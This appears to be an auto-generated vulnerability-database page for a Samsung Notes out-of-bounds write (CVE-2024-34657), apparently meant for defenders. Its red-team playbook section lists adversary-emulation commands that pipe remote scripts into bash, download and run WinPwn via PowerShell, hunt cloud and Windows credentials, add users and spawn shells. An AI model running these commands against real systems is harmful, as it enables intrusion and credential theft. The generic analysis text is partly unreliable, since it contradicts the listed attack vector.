CVE-2024-34657
Overview
This vulnerability is a stack-based out-of-bounds write occurring within Samsung Notes prior to version 4.4.21.62. The root cause stems from improper bounds checking during memory operations on the stack, leading to corruption of adjacent memory regions. The flaw resides in the Samsung Notes application processing module responsible for handling user input data structures.
Vulnerability Description
Stack-based out-of-bounds write in Samsung Notes prior to version 4.4.21.62 allows remote attackers to execute arbitrary code.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary code within the context of the Samsung Notes application, potentially gaining control over the affected device. The attack requires no user interaction and no privileges, as indicated by the CVSS vector AV:N/AC:L/PR:N/UI:N. Successful exploitation could lead to unauthorized data access, persistence, or lateral movement within the device environment, impacting confidentiality, integrity, and availability of user data and system functions.
Solution
Samsung has released an update to Samsung Notes, version 4.4.21.62, which addresses this stack-based out-of-bounds write vulnerability. Users and administrators should apply this version or later as soon as possible. Detailed patch instructions and advisory information are available at Samsung's official security portal: https://security.samsungmobile.com/serviceWeb.smsb?year=2024&month=09. No alternative mitigations or workarounds are specified by the vendor.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Samsung Notes prior to version 4.4.21.62 is characterized by a stack-based out-of-bounds write, which allows for the potential execution of arbitrary code by remote attackers. This type of vulnerability occurs when a program writes data outside the bounds of allocated memory on the stack, leading to the possibility of overwriting critical control data. In this case, the flaw can be exploited when an attacker crafts a malicious input that is processed by the application, causing the program to overwrite adjacent memory locations. This can lead to the execution of unauthorized code, which may allow the attacker to gain control over the affected device.
Attack vectors for this vulnerability are particularly concerning due to the nature of the affected product. Samsung Notes is widely used for note-taking and document management, often integrated with other applications and services. An attacker could exploit this vulnerability through various methods, including phishing attacks where a user is tricked into opening a malicious note or document. Additionally, if the application is used in conjunction with cloud services, an attacker could potentially upload a compromised file that, when accessed by a user, triggers the vulnerability. The ability to execute arbitrary code remotely means that an attacker could gain access to sensitive data, manipulate files, or even take control of the device entirely.
The real-world impact of this vulnerability is significant, particularly for businesses that rely on Samsung Notes for documentation and collaboration. The high CVSS score of 9.8 indicates a critical level of risk, suggesting that successful exploitation could lead to severe consequences, including data breaches, loss of intellectual property, and reputational damage. Organizations that utilize this application may face regulatory scrutiny if sensitive information is compromised, leading to potential legal ramifications. Furthermore, the financial implications of a security incident can be substantial, encompassing costs related to incident response, recovery, and potential fines.
To detect and mitigate this vulnerability, organizations should prioritize updating the Samsung Notes application to the latest version, as the vendor has likely released patches to address the issue. Regular software updates are essential in maintaining security posture, as they often include fixes for known vulnerabilities. Additionally, implementing robust security measures such as intrusion detection systems can help identify and block attempts to exploit this vulnerability. User education is also critical; training employees to recognize phishing attempts and suspicious files can reduce the likelihood of successful exploitation. Organizations should also consider employing application whitelisting to limit the execution of untrusted applications and files.
In conclusion, the stack-based out-of-bounds write vulnerability in Samsung Notes represents a serious threat to both individual users and organizations. The potential for remote code execution underscores the importance of maintaining updated software and implementing comprehensive security strategies. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can better prepare themselves to defend against such threats and safeguard their sensitive information.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Samsung | Notes | All |
cpe:2.3:a:samsung:notes:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-34657 |
| security.samsungmobile.com |
GitHub CVE
|
https://security.samsungmobile.com/serviceWeb.smsb?year=2024&month=09 |